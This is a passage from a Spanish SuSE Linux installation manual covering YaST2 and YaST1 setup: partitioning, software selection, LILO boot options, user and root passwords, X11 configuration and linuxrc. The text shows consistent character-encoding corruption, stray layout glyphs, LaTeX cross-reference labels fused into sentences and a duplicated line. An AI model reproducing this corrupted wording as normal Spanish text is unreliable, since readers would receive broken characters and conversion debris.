o TambiΘn existe aquφ la posibilidad__de_ comprobar el teclado. Para ello
active con un click del mouse o con |T____a|bel recuadro de introducci≤n de
texto. Compruebe sobre todo `y'/`z' y los caracteres acentuados.
o La segunda opci≤n es la de una lista de paφses que aparece en una estruc-
tura de ßrbol (continente/paφs/provincia). Seleccione el paφs o una parte
de Θl; YaST2 se encarga de encontrar la zona horaria correspondiente.
Con el bot≤n `Siguiente' se llega al pr≤ximo cuadro de dißlogo.
2.1.7 ┐Instalaci≤n nueva o Actualizaci≤n?
Con YaST2 se puede instalar SuSE Linux desde cero o actualizar una versi≤n
existente (''Update'') para mantener las configuraciones individuales.
`Instalaci≤n nueva' ~ Seleccione esta opci≤n, ya que el presente aparta-
do trata sobre la instalaci≤n nueva de SuSE Linux.
`Actualizaci≤n' ~ Esta opci≤n no se detalla aquφ..
La descripci≤n en los siguientes apartados supone haber seleccionado `In-
stalaci≤n nueva' pasßndose a `Siguiente'.
2.1.8 Preparar el disco duro
Los siguientes pasos estßn destinados a seleccionar y preparar el (los) disco(s)
duro(s) para instalar SuSE Linux. ~ Seg·n la configuraci≤n individual de la
computadora, puede haber variaciones mßs o menos grandes sobre el ejemplo
expuesto.
Paso 1
o Cuando hay mßs de un disco duro en la computadora, primero hay que
decidir cußl usar. Los discos duros que se encuentran se apuntan en una
lista.
o Otra posibilidad es la de seleccionar la opci≤n (`Configuraci≤n avan-
zada'), para tener la posibilidad de particionar el disco manualmente.
Queda la posibilidad de entrar mßs tarde a esta opci≤n, en el supuesto de
que falte espacio en el disco duro.
Lo normal es seleccionar un disco y pulsar despuΘs `Siguiente'.
*
* 21
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
Paso 2
Es posible que se presente una de las siguientes situaciones:
o En caso de que el disco no estuviera vacφo, YaST2 muestra todas las par-
ticiones ya existentes, tal como la opci≤n `Todo el disco' . TambiΘn
se muestra el espacio libre, no particionado al ''final'' del disco duro; Θste
estß seleccionado por defecto. YaST2 solo puede usar el espacio libre al
final, como espacio adicional para SuSE Linux. Por ejemplo, si hay 3 par-
ticiones configuradas, las particiones 1 y 2 se mantienen y la partici≤n 3
se marca para ser usada por SuSE Linux.
Para usar todo el disco duro para SuSE Linux seleccione `Todo el dis-
co'.
o En caso de un disco duro vacφo, todo el disco se usarß para SuSE Linux.
Si las necesidades de particionar no concordasen con las posibilidades que se
ofrecen aquφ, vuelva `Atrßs' ~ como consta en la pßgina anterior ~ , para
particionar allφ manualmente con `Configuraci≤n avanzada'.
________________________________________________________________________________________________________*
*________||
| íTodos los datos que se encuentren en las particiones previstas para SuSE *
* ||||
| *
* |||
| Linux se perderßn, ya que es preciso formatearlas! *
* |||
| Atenci≤n: Si se selecciona `Usar todo el disco', todos los datos *
* |||
| *
* |||
| en el disco se borrarßn; tambiΘn los otros sistemas operativos que *
* |||
| se encuentren allφ (ver el apartado 2.10.1 en la pßgina 77Establecer *
* |||
| *
* |||
| particionessubsection.2.10.1). *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Al pulsar `Siguiente' en la instalaci≤n, tambiΘn se comprueba si hay su-
ficiente espacio de disco para la instalaci≤n mφnima, si se pueden a±adir tres
particiones adicionales y si es posible arrancar desde el disco duro. ~ Si hay
algo que no encaja aparece una advertencia con la posibilidad de modificar la
selecci≤n que causa el problema.
Cuando todos los requisitos se cumplen y mßs tarde la verdadera instalaci≤n
comienza, YaST2 configura las particiones. Todo el disco o bien la zona
libre para SuSE Linux se divide en tres particiones: Una partici≤n peque±a
para /boot (alrededor de 16 MB, cuanto mßs cerca del comienzo del disco
mejor), una partici≤n para Swap (128 MB) y el resto para /). Hay informaci≤n
general sobre particiones en el apartado 2.8 en la pßgina 70Particionar para
principiantessection.2.8.
Posibles problemas
o No es posible seleccionar una determinada partici≤n. Dentro de la vφa de
instalaci≤n estßndar, YaST2 no permite seleccionar particiones ''desde el
interior'' del disco duro. Para subsanar este problema hay que entrar a la
`Configuraci≤n avanzada' y particionar desde allφ.
2.1.9 Selecci≤n del software
Mediante los siguientes dißlogos en pantalla se puede determinar el contenido
de la instalaci≤n de SuSE Linux. Para ello seleccione una de las posibilidades
disponibles tal como los componentes adicionales que desee.
22
__________________________________________________________________________________________________2.1.__íDirecto_al_Θxito!__*
*______________________
Selecci≤n de software: Definir la base
Primero tiene que optar por el equipamiento bßsico de su sistema:
`Sistema mφnimo' ~ Se trata de un sistema operativo Unix en modo texto
completamente funcional (el n·cleo y todas las utilidades importantes).
Cuando hay poco espacio en el disco, este sistema permite probar el fun-
cionamiento de SuSE Linux. TambiΘn resulta ·til cuando la computa-
dora debe trabajar con una sola aplicaci≤n puntual (espacio requerido:
150 MB ).
`Sistema estßndar' ~ Este sistema representa un conjunto de software
equilibrado para el inicio, como p. ej. el entorno grßfico, todo para im-
primir, juegos, utilidades para el acceso y uso de Internet, editores, repro-
ductor de CDs, etc. (espacio requerido: 500 MB ).
`Casi todo' ~ Se instala `Casi todo' si necesita toda la variedad del
software SuSE Linux o si quiere llegar a conocerla. Esta opci≤n requiere
mßs de 6 GB de espacio en el disco duro.
El `Estßndar' se recomienda para el inicio. Si hace falta mßs software es
posible instalarlo despuΘs.
Los botones bajo `Software adicional' permiten a±adir determinados
componentes (''paquetes'') o bien excluirlos.
Selecci≤n extendida de software: Cambio de detalles
En caso de haber seleccionado `Software adicional' en el dißlogo ante-
rior, ahora es posible modificar el conjunto de software en detalle.
Dentro del `Software adicional' existen determinados conjuntos de pa-
quetes, de los cuales se puede seleccionar toda la cantidad deseada. Para
el caso del software de dominio p·blico, existe la posibilidad de instalar
las fuentes junto con los programas compilados seleccionando `Instalar
fuentes disponibles'. Estas fuentes pueden ocupar bastante espacio y
generalmente solo interesan a los programadores.
_______________________________________________________________________________________________________________________||
|||||||| Es posible ampliar la selecci≤n de software en cualquier momento despuΘs ||| |
|||||||| de la instalaci≤n, ejecutando YaST2 o el tradicional YaST (ver capφtulo 3 || |
|||||||| || |
|||||||| en la pßgina 83YaST ~ Yet another Setup Toolchapter.3). Si prefiere llegar || |
|||||||| ahora mismo al final de la instalaci≤n, no profundice demasiado en la || |
|||||||| || |
|||||||| ''jungla'' de aplicaciones ;-) || |
||||||||_______________________________________________________________________________________________________________||_
TambiΘn existe `Software comercial'; en el cuadro de dißlogo seleccione
los paquetes de software correspondientes.
Mediante la opci≤n `Seleccionar determinados programas' hay ac-
ceso directo a cada paquete de software. Seleccionando o quitando paquetes,
YaST2 comprueba permanentemente si se cumplen todas las dependencias
entre los mismos y propone la instalaci≤n de los paquetes que hacen falta
para cumplir todas las dependencias. No debe haber dependencias sin re-
solver para que el software pueda funcionar correctamente.
*
* 23
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
Posibles problemas
o YaST2 comprueba la existencia de suficiente espacio para todo el soft-
ware seleccionado.
Si no hay suficiente, serφa preciso reducir la selecci≤n de software
o preparar mßs particiones para SuSE Linux; para ello, siga la in-
dicaci≤n `Atrßs' hasta la pantalla `Selecci≤n del destino de
instalaci≤n' (apartado 2.1.8 en la pßgina 21Preparar el disco
durosubsection.2.1.8).
o Si se vuelve con `Atrßs' desde una pantalla posterior a la actual, con
el fin de modificar la selecci≤n de paquetes, los cambios realizados ante-
riormente desaparecen. Considere esto, para no tener que perder mucho
trabajo minucioso.
2.1.10 LILO ~ Gestor de arranque
Es necesario preparar un mecanismo de arranque para que Linux pueda ini-
ciarse. Para ello es preciso decidir en quΘ lugar del sistema se debe instalar
el gestor de arranque LILO (ingl. LInux LOader) o quΘ otro concepto de
arranque se debe utilizar (hay mßs informaci≤n sobre este tema en el aparta-
do 2.3 en la pßgina 47┐C≤mo se debe arrancar Linux?section.2.3 y en el capφ-
tulo 4 en la pßgina 119Arrancar y gestor de arranquechapter.4).
o Cuando SuSE Linux no encuentra ning·n sistema operativo instalado en
la computadora y si esto es correcto, todo resulta muy fßcil y no hace falta
nada mßs que pulsar `Siguiente'.
o YaST2 ofrece la posibilidad segura de generar un disquete de arranque en
los siguientes casos:
~ La distribuci≤n de particiones en el disco duro no permite arrancar
(lφmite de 1024 cilindros).
~ Por tener una mezcla de discos SCSI y (E)IDE no es posible averiguar
con toda seguridad la posibilidad de arrancar.
Si YaST2 no llega a averiguar correctamente la situaci≤n o Usted quiere re-
alizar otro tipo de arranque, seleccione `Otra configuraci≤n' para con-
figurar el arranque manualmente . ~ Mßs adelante encuentra mßs informaci≤n
al respecto.
LILO : Otra configuraci≤n de arranque
YaST2 ofrece ahora cuatro posibilidades:
`En C: (MBR del primer disco duro)' ~ LILO debe estar de todos
modos en el + MBR (ingl. Master Boot Record), si SuSE Linux es el ·nico
sistema operativo de la computadora.
LILO en el MBR tambiΘn puede actuar como gestor de arranque para
varios sistemas operativos. Solo opte por esa opci≤n cuando estΘ seguro
de que LILO es capaz de iniciar su sistema operativo ya instalado ~ nor-
malmente este es el caso para DOS y Windows 95/98; ver apartado 4.7.1
en la pßgina 135DOS/Windows 95/98 y Linuxsubsection.4.7.1. Si existen
dudas al respecto es mejor seleccionar la opci≤n `Crear un disco de
arranque'.
24
__________________________________________________________________________________________________2.1.__íDirecto_al_Θxito!__*
*______________________
`Crear un disco de arranque' ~ Si la computadora debe ejecutar var-
ios sistema operativos, existe la posibilidad de generar un disquete de
arranque para SuSE Linux. De esta forma no se modifica el mecanismo
de arranque actual y se puede arrancar la computadora en cualquier mo-
mento desde este disquete. Para ir por el camino seguro es conveniente
seleccionar esta opci≤n.
Advertencia: Mßs adelante es posible configurar el arranque con LILO en
el MBR usando YaST (ver apartado 3.7.2 en la pßgina 105Configuraci≤n
del kernel y arranquesubsection.3.7.2, `Configurar LILO ').
`No instalar LILO (otro gestor de arranque)' ~ Seleccionando
esta opci≤n es posible seguir con el gestor de arranque anterior, ya que
no se modifica nada en el MBR (Master Boot Record); LILO se instala
en la partici≤n /boot. Sin embargo en este caso hay que intervenir
para configurar de nuevo el gestor de arranque existente. Esta posibil-
idad con Windows NT y Linux se explica en el apartado 4.7.2 en la
pßgina 136Windows NT y Linux en un disco durosubsection.4.7.2.
`En otra partici≤n' ~ Se selecciona para indicar una partici≤n diferente
por las razones expuestas en la opci≤n anterior.
Cuando haga falta, en el campo `Parßmetros de arranque' se indican los
''parßmetros de kernel''. Con estos se genera la lφnea append ; ver p. ej. en la
pßgina 131Otras opciones de configuraci≤n (Selecci≤n)Hfootnote.22 y en la
pßgina 360Parßmetros de arranque generalessubsection.14.3.2.
Con la opci≤n linear los sectores de los discos duros no se referencian con
direcciones fφsicas sino con direcciones l≤gicas; se usa pocas veces (ver en la
pßgina 129Otras opciones de configuraci≤n (Selecci≤n)Hfootnote.21).
2.1.11 Informaci≤n de usuario
Varios usuarios pueden trabajar simultßneamente usando SuSE Linux y cada
usuario que quiera entrar al sistema tiene que identificarse primero. Este
proceso de identificaci≤n se realiza mediante el "login:". Los datos que se
introducen aquφ (nombre y apellido, nombre de usuario y contrase±a) sirven
para esta identificaci≤n y para generar la ''cuenta de usuario''.
Introduzca ahora nombre y apellido y el ''nombre de usuario'' tal como la
contrase±a, para la posterior identificaci≤n en SuSE Linux.
Usando el bot≤n `Sugerencia' es posible conseguir una propuesta au-
tomßtica para el ''nombre de usuario'', generado a raφz del nombre y apellido
(se puede modificar); tambiΘn es posible introducir directamente un nombre
a gusto propio.
Hay que introducir una contrase±a que se debe repetir para su comprobaci≤n.
Vigile la diferenciaci≤n entre may·sculas y min·sculas; la contrase±a debe
tener un mφnimo de 5 caracteres y un mßximo de 8. No se permiten caracteres
acentuados, pero sφ los caracteres especiales como p. ej. #,.; o cifras (0 hasta
9 ) estßn permitidas.
Recuerde bien el ''nombre de usuario'' y la contrase±a, ya que siempre los
necesita para trabajar con SuSE Linux.
Con el bot≤n `Siguiente' se puede llegar a la pr≤xima ventana que pide la
contrase±a del superusuario `root'.
*
* 25
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
2.1.12 Establecer contrase±a de `root'
Bajo Linux el usuario `root' tiene privilegios especiales; Θl puede p. ej. ini-
ciar o terminar procesos del sistema, generar usuarios o borrarlos y modi-
ficar ficheros importantes del sistema. TambiΘn se le llama ''superusuario'' y
cumple las tareas de un + Administrador de sistema.
Para ello hay que introducir la contrase±a del superusuario `root'; la regla
es igual a la que existe para la contrase±a de un usuario.
________________________________________________________________________________________________________*
*________
| Recuerde bien la contrase±a de `root' ya que posteriormente no hay *
* ||||
| *
* |||
| ninguna posibilidad de consultarla. La contrase±a se necesitarß para todas *
* |||
| las tareas administrativas del sistema. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Pulsando ahora `Siguiente' comienza la parte seria de la instalaci≤n.
2.1.13 Confirmaci≤n e inicio de la instalaci≤n
Ahora se muestran todos los datos introducidos hasta este momento con la
posibilidad de comprobarlos y ~ si fuera el caso ~ modificarlos, usando el
bot≤n `Atrßs' que permite regresar hasta la primera pantalla.
Si todo estß bien y se pulsa `Siguiente' aparece una pregunta de compulsa
(de color verde) para confirmar que realmente debe iniciar con los datos
indicados:
o DespuΘs de la confirmaci≤n con `Sφ instalar', YaST2 comienza con
la instalaci≤n del sistema.
o Pulsando `No' se pueden controlar los datos nuevamente y en caso de
necesidad modificarlos, llegando a la pantalla en cuesti≤n con la opci≤n
`Atrßs'
TambiΘn existe en este momento la posibilidad de cancelar completamente la
instalaci≤n de SuSE Linux, posponiΘndola para otro momento. En tal caso
todas las indicaciones y ajustes hechos se pierden. Pulsando `Cancelar
instalaci≤n' la computadora se detiene despuΘs de una confirmaci≤n y
en este caso es seguro apagar o reinicializarla. Hasta este momento no se ha
modificado nada en la computadora.
Para ''expertos'' se ofrece la posibilidad de `Grabar configuraci≤n en
disquete'. Con esta opci≤n todos los ajustes se graban para poder usarlos
de nuevo en posteriores instalaciones.
DespuΘs de haberse decidido por `Sφ instalar' se puede observar a
YaST2 trabajando en la creaci≤n y el formateo de las particiones. Seg·n la
velocidad de la computadora y el tama±o del disco duro, esto necesita alg·n
tiempo. En lo posible hay que evitar cancelar este proceso, ya que el disco
duro podrφa pasar a un estado no definido.
DespuΘs se leen los paquetes del CD 1 y se instala primero el sistema base
de SuSE Linux; este sistema a base de pantallas de texto se inicia compul-
sando con `Siguiente'. YaST2 contin·a con la instalaci≤n y en caso de
necesidad le pide los subsiguientes CDs. Si se usa `Cancelar' para parar la
instalaci≤n, no se podrß usar el sistema correctamente!
26
__________________________________________________________________________________________________2.1.__íDirecto_al_Θxito!__*
*______________________
Seg·n lo que haya indicado en las opciones del apartado 2.1.10 en la pßgi-
na 24LILO ~ Gestor de arranquesubsection.2.1.10, YaST2 pide que se intro-
duzca un disquete formateado para generar un disquete de arranque. íNo use
ninguno de los disquetes suministrados para ello! En caso de instalar LILO
en el MBR, aparece un mensaje indicando el comando para recuperar el MBR
original; debe anotar esta informaci≤n.
íAhora SuSE Linux se ha instalado exitosamente en la computadora!
De momento falta la preparaci≤n del entorno grßfico. Este paso no se requiere
si solo estß instalado el `Sistema mφnimo', ya que Θste estß previsto para
operar solo en modo texto. Ahora existe la primera oportunidad de probar
SuSE Linux.
2.1.14 Preparaci≤n del entorno grßfico
Para ofrecer un entorno grßfico desde el primer ''login'' al sistema, YaST2
trata de averiguar toda la informaci≤n necesaria sobre el monitor y la tarjeta
grßfica.
En el caso que esto sea posible, se seleccionan unos valores razonables para
la resoluci≤n de pantalla, la profundidad de color y la frecuencia de refresco;
despuΘs aparece la pantalla de prueba.
_______________________________________________________________________________________________________________________
|||||||| íCompruebe la configuraci≤n antes de compulsarla con ''Okay''! En caso || |
|||||||| || |
|||||||| de duda consulte la documentaci≤n sobre la tarjeta grßfica y el monitor. || |
||||||||_______________________________________________________________________________________________________________||_
En el caso que YaST2 no reconozca el monitor, seleccione en la lista el
modelo usado. Si se trata de un modelo desconocido se deben introducir los
datos manualmente o leerlos de un disquete de drivers; en todo caso consulte
la documentaci≤n del monitor. ~ Cuando no se necesite instalar el entorno
grßfico, hay que seleccionar `No configurar X11'.
Finalmente es preciso configurar la profundidad de color y la resoluci≤n del
monitor, que dependen del equipo en cuesti≤n y del gusto propio. Como
profundidad de color (`Cantidad de colores') se recomienda 16bpp .
Posibles problemas
o En pocas ocasiones serß preciso configurar el + X-Server manualmente.
Si fuese asφ el programa SaX se iniciarφa; las instrucciones sobre su uso
se encuentran en el apartado 8.1 en la pßgina 238Configuraci≤n con SaX
section.8.1.
2.1.15 Configurar hardware adicional
Ya durante esta fase de instalaci≤n es posible configurar algunos componentes
adicionales del sistema como p. ej. la impresora, la tarjeta de sonido, la red o
el acceso Internet .
íSi ya se le ha hecho un poco tarde, no hay ning·n problema en posponer esta
actividad para el dφa siguiente!
*
* 27
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
2.1.16 Primer ''login'' al sistema
Ahora ha llegado el momento ~ puede entrar al sistema.
Aparece el ''login'' grßfico (en concreto el gestor de pantalla kdm ) y este
visualiza todos los usuarios dados de alta en el sistema. (figura 9.6 en la pßgi-
na 268kdm ~ ''login'' grßficosubsection.9.2.2). Ahora no hace falta mßs que
indicar su nombre de usuario por detrßs de Login: y la contrase±a para que
KDE (el ''K Desktop Environment'') se inicie. Hay informaci≤n sobre KDE
en el apartado 9.2 en la pßgina 266KDE ~ K Desktop Environmentsection.9.2
o en pantalla mediante el sistema de ayuda (kdehelp ).
Trabajando en modo texto tambiΘn se introduce el nombre de usuario por
detrßs de login: y despuΘs de introducir la contrase±a aparece el + Prompt
de Linux.
2.1.17 Configuraciones adicionales y trabajo con el sistema
Para principiantes en materia de Linux, el capφtulo 19 en la pßgina 467In-
troducci≤n a Linuxchapter.19 del manual representa una buena fuente
de informaci≤n asφ como el anexo F en la pßgina 523Las SuSE Linux-
FAQappendix.F, que da respuesta a preguntas muy frecuentes. La bib-
liografφa (ver en la pßgina 546Seguridad y servicios de mantenimiento
localessection.H.3) menciona libros con una temßtica mßs avanzada; al-
gunos de estos se presentan brevemente en http://www.suse.de/de/
produkte/buecher/.
Ademßs recomendamos familiarizarse con el YaST ''antiguo'' (capφtulo 3 en
la pßgina 83YaST ~ Yet another Setup Toolchapter.3).
o Los detalles sobre la configuraci≤n del entorno grßfico sistema X Window,
se cubren en el capφtulo 8 en la pßgina 237El sistema X Windowchapter.8.
La configuraci≤n del mismo con SaX se detalla en el apartado 8.1 en la
pßgina 238Configuraci≤n con SaX section.8.1.
o La tarjeta de sonido es objeto de discusi≤n en el apartado 10.3 en la
pßgina 290Tarjetas de sonidosection.10.3 ~ este capφtulo describe ''Linux
y el hardware adicional'' en general.
o El capφtulo 12 en la pßgina 325Impresoraschapter.12 incluye una lista
de las impresoras soportadas y explica su configuraci≤n. Para conocer
la configuraci≤n fßcil con YaST , consultar el apartado 3.7.1 en la pßgi-
na 103Configurar impresorassubsection.3.7.1.
o La configuraci≤n del acceso a internet se explica en el capφtulo 5.3 en
la pßgina 171Configuraci≤n y usochapter.6. Para configurar un modem
consulte el apartado 6.5 en la pßgina 189Conexi≤n de modemsection.6.5,
y para RDSI el apartado 6.2 en la pßgina 173Acceso a Internet vφa RDSI
~ la configuraci≤nsection.6.2.
o El capφtulo 5 en la pßgina 153Linux en la redchapter.5 expone las posibil-
idades de configuraci≤n de una red.
28
__________________________________________________________________________________________________2.1.__íDirecto_al_Θxito!_________*
*_______________
_______________________________________________________________________________________________________________________
|||||||| Para acoplar una red interna con una conexi≤n RDSI se requieren ||| |
||||||||| conocimientos avanzados sobre redes. Busque en libros especializados || ||
|||||||| ||| |
|||||||| bajo las palabras clave ''Gateway'' (pasarela), ''Firewall'' (cortafuegos) o || |
|||||||| ''Router'' (enrutador). || |
||||||||_______________________________________________________________________________________________________________||_
29
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
2.2 Instalaci≤n con YaST en modo texto (YaST 1)
Muchos caminos conducen a la instalaci≤n de Linux, pero algunos de ellos
son mßs complicados que otros.
Si Usted no es principiante en el tema de Linux tal vez le parecerßn largas
o innecesarias algunas explicaciones, pero recuerde simplemente aquellos
tiempos cuando tenφa su primera computadora y exprimφa con gusto cualquier
fuente de informaci≤n. . .
2.2.1 La situaci≤n principal
En el caso de SuSE Linux, estß a disposici≤n la herramienta de instalaci≤n
YaST que le guφa fielmente desde la preparaci≤n del disco duro, pasando por
la instalaci≤n del software hasta la configuraci≤n de un login grßfico.
En el ''caso normal'' se deben cumplir los siguientes requisitos:
o Se puede arrancar la computadora desde el disquete de arranque (''Boot-
disk'') incluido o bien, desde el CD 1 directamente.
o El disco duro tiene espacio libre sin particionar y suficiente espacio para
la instalaci≤n de Linux o, hay un disco suficientemente grande para el uso
exclusivo con Linux.
o El + CD-ROM se ve soportado por Linux. Si todavφa no lo sabe, íno se
asuste! Es posible averiguarlo.
Si uno de estos requisitos no se cumple, existen alternativas para la instalaci≤n
que se detallan a continuaci≤n de esta secci≤n (apartado 2.4 en la pßgina 49In-
stalaci≤n sin soporte del lector CD-ROMsection.2.4).
2.2.2 A continuaci≤n: La pantalla de bienvenida
Por favor ``abr≤chese el cintur≤n'' e inserte el CD 1 y/o el disquete de arranque
en sus correspondientes dispositivos de lectura y encienda la computadora. Si
Θsta no quiere arrancar, tal vez sea necesario cambiar la secuencia de arranque
en la + BIOS de la computadora a A,C o CDROM,C,A .
DespuΘs de un breve instante aparece la pantalla de bienvenida (figura 2.1 en___
la pßgina siguiente). Dentro de 3 segundos debe apretar un tecla (p. ej. |T____a|b),
para que YaST2 no se inicie automßticamente._ Introduzca ahora manual en
el prompt (boot: ) y pulse |_____-|:
boot: manual |______|-
A continuaci≤n aparecerßn en la parte inferior de la pantalla los mensajes
"Loading initdisk.gz..." y "Loading linux..."; despuΘs arranca el
+ Kernel y linuxrc se inicia esperando los ≤rdenes del usuario (funciona a
base de men·s).
Posibles problemas
o Si un lector CDROM del tipo ATAPI llegara a ''trabarse'', consulte
el apartado 2.7.5 en la pßgina 64Un lector CD-ROM ATAPI se traba
leyendosubsection.2.7.5.
30
_____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
*______________________
Figura 2.1: La pantalla de bienvenida de SuSE Linux
o El CD 1, que incorpora un kernel optimizado para Pentium, no se re-
conoce como arrancable: Puede tratar de usar el CD 2 o el disquete de
arranque (''Bootdisk''); ver apartado 2.6.2 en la pßgina 59Arrancar con el
CD 2subsection.2.6.2.
o Con parßmetros de kernel se puede resolver normalmente los demßs prob-
lemas de arrancar; ver apartado 14.3.2 en la pßgina 360Parßmetros del
kernel en el Boot-Promptsubsection.14.3.2.
2.2.3 La base: linuxrc
Con el programa linuxrc se cargan todos los drivers como m≤dulos del ker-
nel, en el caso que fuera necesario. DespuΘs linuxrc inicia el programa de
instalaci≤n YaST y la verdadera instalaci≤n de los programas de sistema y de
las aplicaciones comienza.
El manejo de linuxrc_es muy_sencillo. Con |"__|y |#__|se selecciona una opci≤n
del men· y con |____|y |!___|un comando (p. ej. `Ok' o `Cancelar'). Pulsando
_- |||||||||__los comandos se ejecutan.
El apartado 16.3 en la pßgina 417linuxrcsection.16.3 contiene una descrip-
ci≤n mßs detallada de linuxrc .
Configuraci≤n general e incorporaci≤n del hardware
El programa linuxrc comienza con la selecci≤n del idioma.
El programa linuxrc comienza con la selecci≤n del idioma.
o Seleccionar un idioma.
o Seleccionar entre `Monitor Color' y `Monitor Monocromo'
o Seleccionar la distribuci≤n del teclado. En este caso serφa `Espa±ol'.
Ahora nos encontramos en el men· principal de linuxrc (figura 2.3 en la
pßgina siguiente) en el cual se encuentran las siguientes opciones:
*
* 31
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
Figura 2.2: Selecci≤n del idioma
Figura 2.3: Men· principal de linuxrc
`Configuraciones' ~ Aquφ se puede modificar otra vez idioma, monitor o
teclado.
`Informaci≤n de sistema' ~ Para los interesados aquφ hay una multitud
de informaci≤n sobre el hardware.
`M≤dulos del kernel (Driver)' ~ Es posible que se deba elegir este
punto para cargar m≤dulos adaptados al hardware.
Caso normal: Por lo general no se necesita esta opci≤n, porque si el
(los) disco(s) duro(s) y el lector de CD (+ ATAPI) estßn conectados a una
controladora (E)IDE, no es necesario cargar m≤dulos especiales.
Esto se explica por el hecho de que el soporte para (E)IDE estß integrado
en el kernel.
32
_____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
*______________________
`Instalaci≤n / Inicio de sistema' ~ Pulsando aquφ contin·a la in-
stalaci≤n . . .
`Cancelaci≤n / Reboot' ~ Para el caso en que haya decidido aban-
donar. . .
Elegir la carga de m≤dulos del kernel con `M≤dulos de kernel (Drivers)',
en caso de necesitar soporte de tarjetas SCSI o PCMCIA (ver apartado 11.1.6
en la pßgina 317Instalaci≤n vφa PCMCIAsubsection.11.1.6) o, en caso de
no tener un lector de CDs tipo ATAPI; la carga de m≤dulos se explica en el
apartado 16.3 en la pßgina 417linuxrcsection.16.3. Seleccionar en el sigu-
iente sub-men· la raz≤n por la cual se cargan m≤dulos (dicho de otra forma:
para quΘ se deben cargar). Existen las siguientes posibilidades:
~ Un m≤dulo SCSI ~ Para un disco duro tipo SCSI o un lector CD-ROM de
este tipo .
~ Un m≤dulo CD-ROM ~ si el lector CD-ROM no estß conectado a la
controladora (E)IDE ni a la controladora SCSI.
~ Un m≤dulo de red ~ en el caso que se realice la instalaci≤n a travΘs de
NFS o FTP ~ lo cual no se trata en este apartado.
_______________________________________________________________________________________________________________________||
|||||||| Si no se encuentra soporte para el medio de instalaci≤n usado (Tarjeta ||| |
|||||||| || |
|||||||| PCMCIA, tarjeta de red, lector CD-ROM en controladora propia o en || |
|||||||| puerto paralelo) dentro de los m≤dulos estßndar, se puede recurrir a los || |
|||||||| || |
|||||||| drivers adicionales del disquete modules. Para ello dirφjase al final de la || |
|||||||| lista, seleccionando allφ la opci≤n `-- Otros m≤dulos --'; linuxrc pide || |
|||||||| || |
|||||||| en este caso el disquete modules. || |
||||||||_______________________________________________________________________________________________________________||_
Iniciar la instalaci≤n
Puesto que la opci≤n `Iniciar la instalaci≤n_ / Sistema' ya estß se-
leccionada, solo hace falta pulsar |_____-|para comenzar con la verdadera insta-
laci≤n.
Ahora aparecen las siguientes opciones:
~ `Comenzar la instalaci≤n' ~ Esto se llevarß a cabo en un
instante.
~ `Iniciar el sistema instalado' ~ Esta opci≤n es ·til cuan-
do se presentan problemas con el arranque normal del sistema in-
stalado.
~ `Iniciar sistema de rescate' ~ Cuando ha ocurrido un er-
ror grave, esta opci≤n brinda muchas posibilidades de arreglar el
sistema instalado. No es disponible para sistemas Alpha
~ `Iniciar Live CD' ~ Se puede probar el sistema sin necesidad
de copiarlo directamente en el disco duro; en cuanto al ''Live-
CD'' ver el apartado 3.7.4 en la pßgina 110Configurar sistema
Livesubsection.3.7.4.
*
* 33
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
Figura 2.4: Men· de instalaci≤n de linuxrc
Para entrar al sub-men· de instalaci≤n se pulsa |______|-cuando la opci≤n
`Comenzar la instalaci≤n' estß seleccionada. Solo hace falta selec-
cionar el medio fuente o dejar la barra de desplazamiento sobre la preselec-
ci≤n `CD-ROM'.
Figura 2.5: Selecci≤n del origen de los datos en linuxrc
Pulse ahora |______|-, y seleccione YaST1 para comenzar con la instalaci≤n. El
medio fuente de los datos es el CD-ROM, salvo que se haya seleccionado
otro.
Ahora se carga el + Entorno de instalaci≤n en un RAM-Disk y despuΘs de
este proceso se pone en marcha el programa de instalaci≤n YaST .
Posibles problemas
En este punto de avance se pueden presentar los siguientes problemas:
34
_____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
*______________________
~ Linux no reconoce el adaptador SCSI instalado; use un kernel que in-
corpore el correspondiente driver SCSI y genere un disquete de arranque
como se explica en el apartado 2.6.3 en la pßgina 59Crear un disquete de
arranque bajo DOSsubsection.2.6.3 .
~ El lector CD-ROM ATAPI usado se traba leyendo datos: ver apartado 2.7.5
en la pßgina 64Un lector CD-ROM ATAPI se traba leyendosubsection.2.7.5
y en tΘrminos mßs generales el apartado 2.7.13 en la pßgina 67Problemas
generales de hardwaresubsection.2.7.13.
2.2.4 Arrancar YaST
YaST ofrece una pantalla de entrada con cuatro opciones (ver figura 2.6).
Figura 2.6: Pantalla principal de YaST
_______________________________________________________________________________________________________________________||
|||||||| Si se desea conocer YaST en mßs detalle o si se realizan tareas especiales ||| |
|||||||| de mantenimiento de sistema, se recomienda consultar el capφtulo sobre || |
|||||||| || |
|||||||| YaST (capφtulo 3 en la pßgina 83YaST ~ Yet another Setup Toolchapter.3 || |
|||||||| en adelante.)! ~ Al comienzo del capφtulo sobre YaST se encuentra tam- || |
|||||||| || |
|||||||| biΘn informaci≤n sobre las funciones del teclado bajo YaST || |
||||||||_______________________________________________________________________________________________________________||_
`Nueva instalaci≤n de Linux' Si se trata de instalar un SuSE Linux
nuevo. Justamente esto es lo que nos ocuparß a continuaci≤n ;-)
`Actualizar el sistema Linux instalado' La actualizaci≤n de un
SuSE Linux existente es tema del apartado 15.1 en la pßgina 393Actual-
izaci≤n de SuSE Linux section.15.1.
`Instalaci≤n en modo experto' En el transcurso de este modo de in-
stalaci≤n se tienen muchas posibilidades para intervenir. Solo se debe
elegir este modo si se cuenta con suficiente experiencia en Linux y, si se
conoce bien el orden de los pasos de instalaci≤n. íNo se explicarß el modo
experto!
`Cancelaci≤n - ninguna instalaci≤n' Si se ha decidido abandonar
en el ·ltimo momento. . .
*
* 35
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
